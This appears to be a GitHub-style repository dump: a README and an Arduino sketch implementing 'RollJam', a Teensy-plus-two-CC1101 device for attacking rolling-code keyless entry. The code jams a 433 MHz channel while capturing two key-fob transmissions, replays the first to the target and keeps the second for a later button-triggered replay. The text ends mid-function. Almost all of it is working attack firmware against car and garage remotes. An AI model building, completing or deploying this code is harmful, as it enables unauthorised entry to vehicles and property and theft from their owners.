├── README.md └── rollJam.ino /README.md: -------------------------------------------------------------------------------- 1 | # RollJam 2 | RollJam is an INO script which uses two CC1101 chip and a Teensy to create a MITM type of replay attack against rolling codes. 3 | It was based on the publications of Samy Kamkar, big up for him (https://samy.pl/defcon2015/, https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/). 4 | The script was written for a Teensy 3.1, but it can be easily converted to any other micro controller. 5 | -------------------------------------------------------------------------------- /rollJam.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Type of transfers 3 | */ 4 | #define WRITE_BURST 0x40 5 | #define READ_SINGLE 0x80 6 | #define READ_BURST 0xC0 7 | 8 | /** 9 | * Type of register 10 | */ 11 | #define CC1101_CONFIG_REGISTER READ_SINGLE 12 | #define CC1101_STATUS_REGISTER READ_BURST 13 | 14 | /** 15 | * PATABLE & FIFO's 16 | */ 17 | #define CC1101_PATABLE 0x3E // PATABLE address 18 | #define CC1101_TXFIFO 0x3F // TX FIFO address 19 | #define CC1101_RXFIFO 0x3F // RX FIFO address 20 | 21 | /** 22 | * Command strobes 23 | */ 24 | #define CC1101_SRES 0x30 // Reset CC1101 chip 25 | #define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). If in RX (with CCA): 26 | // Go to a wait state where only the synthesizer is running (for quick RX / TX turnaround). 27 | #define CC1101_SXOFF 0x32 // Turn off crystal oscillator 28 | #define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off. SCAL can be strobed from IDLE mode without 29 | // setting manual calibration mode (MCSM0.FS_AUTOCAL=0) 30 | #define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and MCSM0.FS_AUTOCAL=1 31 | #define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if MCSM0.FS_AUTOCAL=1. 32 | // If in RX state and CCA is enabled: Only go to TX if channel is clear 33 | #define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit Wake-On-Radio mode if applicable 34 | #define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) as described in Section 19.5 if 35 | // WORCTRL.RC_PD=0 36 | #define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high 37 | #define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. Only issue SFRX in IDLE or RXFIFO_OVERFLOW states 38 | #define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. Only issue SFTX in IDLE or TXFIFO_UNDERFLOW states 39 | #define CC1101_SWORRST 0x3C // Reset real time clock to Event1 value 40 | #define CC1101_SNOP 0x3D // No operation. May be used to get access to the chip status byte 41 | 42 | /** 43 | * Status registers 44 | */ 45 | #define CC1101_PARTNUM 0x30 // Chip ID 46 | #define CC1101_VERSION 0x31 // Chip ID 47 | #define CC1101_FREQEST 0x32 // Frequency Offset Estimate from Demodulator 48 | #define CC1101_LQI 0x33 // Demodulator Estimate for Link Quality 49 | #define CC1101_RSSI 0x34 // Received Signal Strength Indication 50 | #define CC1101_MARCSTATE 0x35 // Main Radio Control State Machine State 51 | #define CC1101_WORTIME1 0x36 // High Byte of WOR Time 52 | #define CC1101_WORTIME0 0x37 // Low Byte of WOR Time 53 | #define CC1101_PKTSTATUS 0x38 // Current GDOx Status and Packet Status 54 | #define CC1101_VCO_VC_DAC 0x39 // Current Setting from PLL Calibration Module 55 | #define CC1101_TXBYTES 0x3A // Underflow and Number of Bytes 56 | #define CC1101_RXBYTES 0x3B // Overflow and Number of Bytes 57 | #define CC1101_RCCTRL1_STATUS 0x3C // Last RC Oscillator Calibration Result 58 | #define CC1101_RCCTRL0_STATUS 0x3D // Last RC Oscillator Calibration Result 59 | 60 | /** 61 | * CC1101 configuration registers 62 | */ 63 | #define CC1101_IOCFG2 0x00 // GDO2 Output Pin Configuration 64 | #define CC1101_IOCFG1 0x01 // GDO1 Output Pin Configuration 65 | #define CC1101_IOCFG0 0x02 // GDO0 Output Pin Configuration 66 | #define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO Thresholds 67 | #define CC1101_SYNC1 0x04 // Sync Word, High Byte 68 | #define CC1101_SYNC0 0x05 // Sync Word, Low Byte 69 | #define CC1101_PKTLEN 0x06 // Packet Length 70 | #define CC1101_PKTCTRL1 0x07 // Packet Automation Control 71 | #define CC1101_PKTCTRL0 0x08 // Packet Automation Control 72 | #define CC1101_ADDR 0x09 // Device Address 73 | #define CC1101_CHANNR 0x0A // Channel Number 74 | #define CC1101_FSCTRL1 0x0B // Frequency Synthesizer Control 75 | #define CC1101_FSCTRL0 0x0C // Frequency Synthesizer Control 76 | #define CC1101_FREQ2 0x0D // Frequency Control Word, High Byte 77 | #define CC1101_FREQ1 0x0E // Frequency Control Word, Middle Byte 78 | #define CC1101_FREQ0 0x0F // Frequency Control Word, Low Byte 79 | #define CC1101_MDMCFG4 0x10 // Modem Configuration 80 | #define CC1101_MDMCFG3 0x11 // Modem Configuration 81 | #define CC1101_MDMCFG2 0x12 // Modem Configuration 82 | #define CC1101_MDMCFG1 0x13 // Modem Configuration 83 | #define CC1101_MDMCFG0 0x14 // Modem Configuration 84 | #define CC1101_DEVIATN 0x15 // Modem Deviation Setting 85 | #define CC1101_MCSM2 0x16 // Main Radio Control State Machine Configuration 86 | #define CC1101_MCSM1 0x17 // Main Radio Control State Machine Configuration 87 | #define CC1101_MCSM0 0x18 // Main Radio Control State Machine Configuration 88 | #define CC1101_FOCCFG 0x19 // Frequency Offset Compensation Configuration 89 | #define CC1101_BSCFG 0x1A // Bit Synchronization Configuration 90 | #define CC1101_AGCCTRL2 0x1B // AGC Control 91 | #define CC1101_AGCCTRL1 0x1C // AGC Control 92 | #define CC1101_AGCCTRL0 0x1D // AGC Control 93 | #define CC1101_WOREVT1 0x1E // High Byte Event0 Timeout 94 | #define CC1101_WOREVT0 0x1F // Low Byte Event0 Timeout 95 | #define CC1101_WORCTRL 0x20 // Wake On Radio Control 96 | #define CC1101_FREND1 0x21 // Front End RX Configuration 97 | #define CC1101_FREND0 0x22 // Front End TX Configuration 98 | #define CC1101_FSCAL3 0x23 // Frequency Synthesizer Calibration 99 | #define CC1101_FSCAL2 0x24 // Frequency Synthesizer Calibration 100 | #define CC1101_FSCAL1 0x25 // Frequency Synthesizer Calibration 101 | #define CC1101_FSCAL0 0x26 // Frequency Synthesizer Calibration 102 | #define CC1101_RCCTRL1 0x27 // RC Oscillator Configuration 103 | #define CC1101_RCCTRL0 0x28 // RC Oscillator Configuration 104 | #define CC1101_FSTEST 0x29 // Frequency Synthesizer Calibration Control 105 | #define CC1101_PTEST 0x2A // Production Test 106 | #define CC1101_AGCTEST 0x2B // AGC Test 107 | #define CC1101_TEST2 0x2C // Various Test Settings 108 | #define CC1101_TEST1 0x2D // Various Test Settings 109 | #define CC1101_TEST0 0x2E // Various Test Settings 110 | 111 | 112 | /** 113 | * Default Values 114 | */ 115 | #define CC1101_DEFVAL_IOCFG2 0x2E // GDO2 Output Pin Configuration 116 | #define CC1101_DEFVAL_IOCFG1 0x2E // GDO1 Output Pin Configuration 117 | #define CC1101_DEFVAL_IOCFG0 0x06 // GDO0 Output Pin Configuration 118 | #define CC1101_DEFVAL_FIFOTHR 0x47 // RX FIFO and TX FIFO Thresholds 119 | #define CC1101_DEFVAL_SYNC1 0xAA // Synchronization word, high byte AB 120 | #define CC1101_DEFVAL_SYNC0 0x00 // Synchronization word, low byte FC 121 | 122 | #define CC1101_DEFVAL_PKTLEN 0x19 // Packet Length FF 123 | #define CC1101_DEFVAL_PKTCTRL1 0x04 // Packet Automation Control 124 | #define CC1101_DEFVAL_PKTCTRL0 0x04 // Packet Automation Control 125 | 126 | #define CC1101_DEFVAL_ADDR 0x00 // Device Address 127 | #define CC1101_DEFVAL_CHANNR 0x00 // Channel Number 128 | 129 | #define CC1101_DEFVAL_FSCTRL1 0x06 // Frequency Synthesizer Control 130 | #define CC1101_DEFVAL_FSCTRL0 0x00 // Frequency Synthesizer Control 131 | 132 | // Carrier frequency = 433.795 MHz 133 | #define CC1101_DEFVAL_FREQ2_433 0x10 // Frequency Control Word, High Byte 134 | #define CC1101_DEFVAL_FREQ1_433 0xAF // Frequency Control Word, Middle Byte 135 | #define CC1101_DEFVAL_FREQ0_433 0xC1 // Frequency Control Word, Low Byte 38 136 | 137 | // Carrier frequency Jammer 138 | #define CC1101_DEFVAL_FREQ2_433_JAMMER 0x10 // Frequency Control Word, High Byte 139 | #define CC1101_DEFVAL_FREQ1_433_JAMMER 0xAC // Frequency Control Word, Middle Byte 140 | #define CC1101_DEFVAL_FREQ0_433_JAMMER 0x4E // Frequency Control Word, Low Byte 38 141 | 142 | #define CC1101_DEFVAL_MDMCFG4 0xF6 // Modem Configuration 143 | #define CC1101_DEFVAL_MDMCFG3 0x9F // Modem Configuration C3 144 | #define CC1101_DEFVAL_MDMCFG2 0x32 // Modem Configuration 145 | #define CC1101_DEFVAL_MDMCFG1 0x02 // Modem Configuration 02 ?????????????? 146 | #define CC1101_DEFVAL_MDMCFG0 0xF8 // Modem Configuration F8 147 | 148 | #define CC1101_DEFVAL_DEVIATN 0x15 // Modem Deviation Setting 149 | #define CC1101_DEFVAL_MCSM2 0x07 // Main Radio Control State Machine Configuration 150 | #define CC1101_DEFVAL_MCSM1 0x20 // Main Radio Control State Machine Configuration 151 | #define CC1101_DEFVAL_MCSM0 0x18 // Main Radio Control State Machine Configuration 152 | 153 | #define CC1101_DEFVAL_FOCCFG 0x16 // Frequency Offset Compensation Configuration 154 | #define CC1101_DEFVAL_BSCFG 0x6C // Bit Synchronization Configuration 155 | #define CC1101_DEFVAL_AGCCTRL2 0x03 // AGC Control 156 | #define CC1101_DEFVAL_AGCCTRL1 0x40 // AGC Control 157 | #define CC1101_DEFVAL_AGCCTRL0 0x91 // AGC Control 158 | #define CC1101_DEFVAL_WOREVT1 0x87 // High Byte Event0 Timeout 159 | #define CC1101_DEFVAL_WOREVT0 0x6B // Low Byte Event0 Timeout 160 | #define CC1101_DEFVAL_WORCTRL 0xFB // Wake On Radio Control 161 | #define CC1101_DEFVAL_FREND1 0x56 // Front End RX Configuration 162 | #define CC1101_DEFVAL_FREND0 0x11 // Front End TX Configuration 163 | #define CC1101_DEFVAL_FSCAL3 0xE9 // Frequency Synthesizer Calibration 164 | #define CC1101_DEFVAL_FSCAL2 0x2A // Frequency Synthesizer Calibration 165 | #define CC1101_DEFVAL_FSCAL1 0x00 // Frequency Synthesizer Calibration 166 | #define CC1101_DEFVAL_FSCAL0 0x1F // Frequency Synthesizer Calibration 167 | #define CC1101_DEFVAL_RCCTRL1 0x41 // RC Oscillator Configuration 168 | #define CC1101_DEFVAL_RCCTRL0 0x00 // RC Oscillator Configuration 169 | #define CC1101_DEFVAL_FSTEST 0x59 // Frequency Synthesizer Calibration Control 170 | #define CC1101_DEFVAL_PTEST 0x7F // Production Test 171 | #define CC1101_DEFVAL_AGCTEST 0x3F // AGC Test 172 | #define CC1101_DEFVAL_TEST2 0x88 // Various Test Settings 88 173 | #define CC1101_DEFVAL_TEST1 0x35 // Various Test Settings 31 174 | #define CC1101_DEFVAL_TEST0 0x0B // Various Test Settings 0b 175 | 176 | /** 177 | * Macros 178 | */ 179 | // Enter Rx state 180 | #define setRxState() cmdStrobe(CC1101_SRX) 181 | // Enter Tx state 182 | #define setTxState() cmdStrobe(CC1101_STX) 183 | // Enter IDLE state 184 | #define setIdleState() cmdStrobe(CC1101_SIDLE) 185 | // Flush Rx FIFO 186 | #define flushRxFifo() cmdStrobe(CC1101_SFRX) 187 | // Flush Tx FIFO 188 | #define flushTxFifo() cmdStrobe(CC1101_SFTX) 189 | 190 | // Select (SPI) CC1101 191 | #define cc1101_Select() if(chipSelectRX) digitalWrite(cs_rx, LOW); else digitalWrite(cs_jam, LOW) 192 | // Deselect (SPI) CC1101 193 | #define cc1101_Deselect() if(chipSelectRX) digitalWrite(cs_rx, HIGH); else digitalWrite(cs_jam, HIGH) 194 | // Wait until SPI MISO line goes low 195 | #define wait_Miso() while(bitRead(PORT_SPI_MISO, BIT_SPI_MISO)) 196 | // Wait until rx GDO0 line goes high 197 | #define wait_GDO0_high() while(!get_GDO0_state()) 198 | // Wait until rx GDO0 line goes low 199 | #define wait_GDO0_low() while(get_GDO0_state()) 200 | // Read CC1101 Config register 201 | #define readConfigReg(regAddr) readReg(regAddr, CC1101_CONFIG_REGISTER) 202 | // Read CC1101 Status register 203 | #define readStatusReg(regAddr) readReg(regAddr, CC1101_STATUS_REGISTER) 204 | // Get Marcstate 205 | #define getMarcstate() (readStatusReg(CC1101_MARCSTATE) & 0x1F) 206 | 207 | //Defince gdo0_rx port/bit 208 | #define PORT_GDO0_RX PIND 209 | #define BIT_GDO0_RX 2 210 | 211 | //Defince gdo0_jam port/bit 212 | #define PORT_GDO0_JAM PIND 213 | #define BIT_GDO0_JAM 3 214 | 215 | //Define MISO port/bit 216 | #define PORT_SPI_MISO PINB 217 | #define BIT_SPI_MISO 4 218 | 219 | /** 220 | * Define the CCPACKET class which will handle packets. 221 | * 222 | * Buffer and data lengths 223 | */ 224 | #define CC1101_BUFFER_LEN 64 225 | #define CC1101_DATA_LEN CC1101_BUFFER_LEN - 3 226 | 227 | class CCPACKET 228 | { 229 | public: 230 | /** 231 | * Data length 232 | */ 233 | byte length; 234 | 235 | /** 236 | * Data buffer 237 | */ 238 | byte data[CC1101_DATA_LEN]; 239 | 240 | /** 241 | * CRC OK flag 242 | */ 243 | boolean crc_ok; 244 | 245 | /** 246 | * Received Strength Signal Indication 247 | */ 248 | byte rssi; 249 | 250 | /** 251 | * Link Quality Index 252 | */ 253 | byte lqi; 254 | }; 255 | 256 | 257 | 258 | /** 259 | * Pin numbers, Global variables 260 | */ 261 | 262 | #include 263 | 264 | int cs_rx = 10; 265 | int cs_jam = 20; 266 | int gdo0_rx = 2; 267 | int gdo0_jam = 3; 268 | 269 | int mosi = 11; 270 | int miso = 12; 271 | 272 | int pushButton = 4; 273 | 274 | int packetCounter; 275 | CCPACKET jamData; 276 | 277 | boolean chipSelectRX; 278 | boolean jammin= true; 279 | volatile bool rxTrigger = false; 280 | 281 | CCPACKET receivedPackets[2]; 282 | 283 | void setup() 284 | { 285 | // Pin setup 286 | pinMode(cs_rx, OUTPUT); 287 | pinMode(cs_jam, OUTPUT); 288 | pinMode(gdo0_rx, INPUT); 289 | pinMode(gdo0_jam, INPUT); 290 | pinMode(pushButton, INPUT); 291 | 292 | Serial.begin(9600); 293 | SPI.begin(); 294 | delay(2000); 295 | 296 | chipSelectRX = false; 297 | chip_reset(); 298 | delay(100); 299 | chipSelectRX = true; 300 | chip_reset(); 301 | delay(100); 302 | 303 | // 304 | setupJammer(); 305 | Serial.println("Jammer initialized."); 306 | Serial.println(""); 307 | setupReceiver(); 308 | Serial.println("Receiver initialized, entered RX state."); 309 | Serial.println(""); 310 | startJammer(); 311 | delay(500); 312 | replayFirst(); 313 | replaySecond(); 314 | 315 | } 316 | 317 | void setupJammer() 318 | { 319 | chipSelectRX = false; 320 | cc1101_Select(); 321 | wait_Miso(); 322 | setDefaultRegs(); 323 | writeReg(CC1101_FREQ1, CC1101_DEFVAL_FREQ1_433_JAMMER); 324 | writeReg(CC1101_FREQ0, CC1101_DEFVAL_FREQ0_433_JAMMER); 325 | writeReg(CC1101_SYNC1, 0x47); 326 | writeReg(CC1101_SYNC0, 0x91); 327 | writeReg(CC1101_MDMCFG4, 0xF5); 328 | writeReg(CC1101_MDMCFG3, 0xE4); 329 | writeReg(CC1101_MDMCFG2, 0x30); 330 | writeReg(CC1101_MDMCFG1, 0x23); 331 | writeReg(CC1101_MDMCFG0, 0xFF); 332 | set_patable_jam(); 333 | cc1101_Deselect(); 334 | CCPACKET jamPacket = getJamPacket(); 335 | jamData = jamPacket; 336 | } 337 | 338 | void setupReceiver() 339 | { 340 | chipSelectRX = true; 341 | cc1101_Select(); 342 | wait_Miso(); 343 | setDefaultRegs(); 344 | set_patable(); 345 | setRxState(); 346 | attachInterrupt(digitalPinToInterrupt(2), isr, FALLING); 347 | cc1101_Deselect(); 348 | } 349 | 350 | 351 | void startJammer() 352 | { 353 | Serial.println("Starting up the jammer....."); 354 | Serial.println(""); 355 | while(jammin) 356 | { 357 | chipSelectRX = false; 358 | rxTrigger = false; 359 | cc1101_Select(); 360 | wait_Miso(); 361 | 362 | delayMicroseconds(8000); 363 | sendPacket(jamData); 364 | if(rxTrigger) 365 | { 366 | cc1101_Deselect(); 367 | getData(); 368 | } 369 | } 370 | detachInterrupt(digitalPinToInterrupt(2)); 371 | chipSelectRX = false; 372 | cc1101_Select(); 373 | wait_Miso(); 374 | chip_reset(); 375 | setupJammer(); 376 | //Utolsó jelek felfogása 377 | for(int i = 0; i < 5; i++) 378 | { 379 | delayMicroseconds(8000); 380 | sendPacket(jamData); 381 | } 382 | //Enter IDLE state with the jammer. 383 | chipSelectRX = false; 384 | cmdStrobe(CC1101_SIDLE); 385 | } 386 | 387 | void replayFirst() 388 | { 389 | Serial.println("Starting the replay..."); 390 | Serial.println(""); 391 | detachInterrupt(digitalPinToInterrupt(2)); 392 | chipSelectRX = true; 393 | cc1101_Select(); 394 | wait_Miso(); 395 | 396 | for(int i=0; i < 3; i++) 397 | { 398 | sendPacket(receivedPackets[0]); 399 | delayMicroseconds(12800); 400 | } 401 | Serial.println("Replay packet: "); 402 | for (int i = 0; i < receivedPackets[0].length; i++) 403 | { 404 | Serial.print("0x"); 405 | Serial.print(receivedPackets[0].data[i], HEX); 406 | Serial.println(""); 407 | } 408 | } 409 | 410 | void replaySecond() 411 | { 412 | Serial.println(""); 413 | Serial.println("Waiting for button press..."); 414 | Serial.println(""); 415 | while(digitalRead(pushButton) == LOW) 416 | { 417 | delay(100); 418 | } 419 | chipSelectRX = true; 420 | cc1101_Select(); 421 | wait_Miso(); 422 | 423 | for(int i=0; i < 3; i++) 424 | { 425 | sendPacket(receivedPackets[1]); 426 | delayMicroseconds(12800); 427 | } 428 | 429 | Serial.println("Replaying packet: "); 430 | for (int i = 0; i < receivedPackets[1].length; i++) 431 | { 432 | Serial.print("0x"); 433 | Serial.print(receivedPackets[1].data[i], HEX); 434 | Serial.println(""); 435 | } 436 | 437 | cc1101_Deselect(); 438 | } 439 | 440 | CCPACKET getJamPacket() 441 | { 442 | CCPACKET jamData; 443 | byte thing[10] = {0x92, 0x81, 0xDA, 0x39, 0xDC, 0x27, 0x49, 0xC3, 0xAC, 0x15}; 444 | memcpy(jamData.data, thing, sizeof(jamData.data)); 445 | 446 | jamData.length = sizeof(thing); 447 | return jamData; 448 | } 449 | 450 | void getData() 451 | { 452 | detachInterrupt(digitalPinToInterrupt(2)); 453 | CCPACKET packet; 454 | 455 | rxTrigger = false; 456 | chipSelectRX = true; 457 | cc1101_Select(); 458 | wait_Miso(); 459 | 460 | if(receivePacket(&packet) > 0) 461 | { 462 | if (packetCounter == 0) 463 | { 464 | receivedPackets[0] = packet; 465 | Serial.println("Got one packet!"); 466 | Serial.println(""); 467 | packetCounter++; 468 | // chip_reset(); 469 | // setupReceiver(); 470 | } 471 | else if(packetCounter == 1) 472 | { 473 | //Check for same packet. (Button pressed longer) 474 | if(receivedPackets[0].data[5] == packet.data[5] && receivedPackets[0].data[6] == packet.data[6]) 475 | { 476 | delayMicroseconds(100); 477 | } 478 | else 479 | { 480 | receivedPackets[1] = packet; 481 | jammin = false; 482 | Serial.println("Got the second one!"); 483 | Serial.println(""); 484 | packetCounter = 0; 485 | } 486 | } 487 | } 488 | //FFor ciklus késleltetéshez 489 | cc1101_Deselect(); 490 | attachInterrupt(digitalPinToInterrupt(2), isr, FALLING); 491 | } 492 | 493 | 494 | /** 495 | * sendData 496 | * 497 | * Send data packet via RF 498 | * 499 | * 'packet' Packet to be transmitted. First byte is the destination address 500 | * 501 | * Return: 502 | * True if the transmission succeeds 503 | * False otherwise 504 | */ 505 | 506 | boolean sendPacket(CCPACKET packet) 507 | { 508 | byte marcState; 509 | bool res = false; 510 | 511 | 512 | //Declare to be in Tx state. Avoid receive while transmit. 513 | setRxState(); 514 | 515 | while(((marcState = getMarcstate()) & 0x1F) != 0x0D) 516 | { 517 | 518 | if (marcState == 0x11) //RX OVERFLOW 519 | flushRxFifo(); 520 | } 521 | 522 | delayMicroseconds(500); 523 | 524 | //Set data length at the firs position of TX FIFO 525 | writeBurstReg(CC1101_TXFIFO, packet.data, packet.length); 526 | 527 | //Enter TX state 528 | setTxState(); 529 | 530 | //Check that TX entered 531 | marcState = getMarcstate() & 0x1F; 532 | if((marcState != 0x13) && (marcState != 0x14) && (marcState != 0x15)){ 533 | setIdleState(); //Enter IDLE 534 | flushTxFifo(); //Flush FIFO 535 | setRxState(); //Back to RX 536 | 537 | return false; 538 | } 539 | 540 | //Wait for the sync word transmission 541 | wait_GDO0_high(); 542 | 543 | //Wait for the end of packet transmision 544 | wait_GDO0_low(); 545 | 546 | if((readStatusReg(CC1101_TXBYTES) & 0x7F) == 0) 547 | { 548 | res = true; 549 | } 550 | 551 | setIdleState(); 552 | flushTxFifo(); 553 | setRxState(); 554 | 555 | return res; 556 | } 557 | 558 | /** 559 | * receiveData 560 | * 561 | * Read data packet from RX FIFO 562 | * 563 | * 'packet' Container for the packet received 564 | * 565 | * Return: 566 | * Amount of bytes received 567 | */ 568 | 569 | 570 | byte receivePacket(CCPACKET * packet) 571 | { 572 | byte val; 573 | byte rxBytes = readStatusReg(CC1101_RXBYTES); 574 | 575 | //FIFO OVERFLOW? 576 | if(getMarcstate() == 0x11) 577 | { 578 | setIdleState(); //Enter IDLE 579 | flushRxFifo(); 580 | packet->length = 0; 581 | } 582 | 583 | //Any byte to read? 584 | else if(rxBytes & 0x7F) 585 | { 586 | //Read data length 587 | packet->length = readStatusReg(CC1101_RXBYTES) & 0x7F; 588 | 589 | //If packet too long 590 | if(packet->length > CC1101_DATA_LEN) 591 | { 592 | packet->length = 0; //Discard packet 593 | } 594 | else 595 | { 596 | //Read data packet 597 | readBurstReg(packet->data, CC1101_RXFIFO, packet->length); 598 | //Read RSSI 599 | packet->rssi = readConfigReg(CC1101_RXFIFO); 600 | //Read LQI and CRC OK 601 | val = readConfigReg(CC1101_RXFIFO); 602 | packet->lqi = val & 0x7f; 603 | packet->crc_ok = bitRead(val, 7); 604 | } 605 | //Flush FIFO 606 | flushRxFifo(); 607 | } 608 | else 609 | packet->length = 0; 610 | 611 | //Back to RX 612 | setRxState(); 613 | 614 | return packet->length; 615 | } 616 | 617 | 618 | byte readReg(byte regAddr, byte regType) 619 | { 620 | 621 | byte addr, val; 622 | addr = regAddr | regType; 623 | 624 | cc1101_Select(); 625 | wait_Miso(); 626 | SPI.transfer(addr); 627 | val = SPI.transfer(0x42); 628 | cc1101_Deselect(); 629 | 630 | return val; 631 | } 632 | 633 | void readBurstReg(byte * myBuffer, byte regAddr, byte len) 634 | { 635 | byte addr, i; 636 | 637 | addr = regAddr | READ_BURST; 638 | cc1101_Select(); 639 | wait_Miso(); 640 | SPI.transfer(addr); 641 | for(i=0; i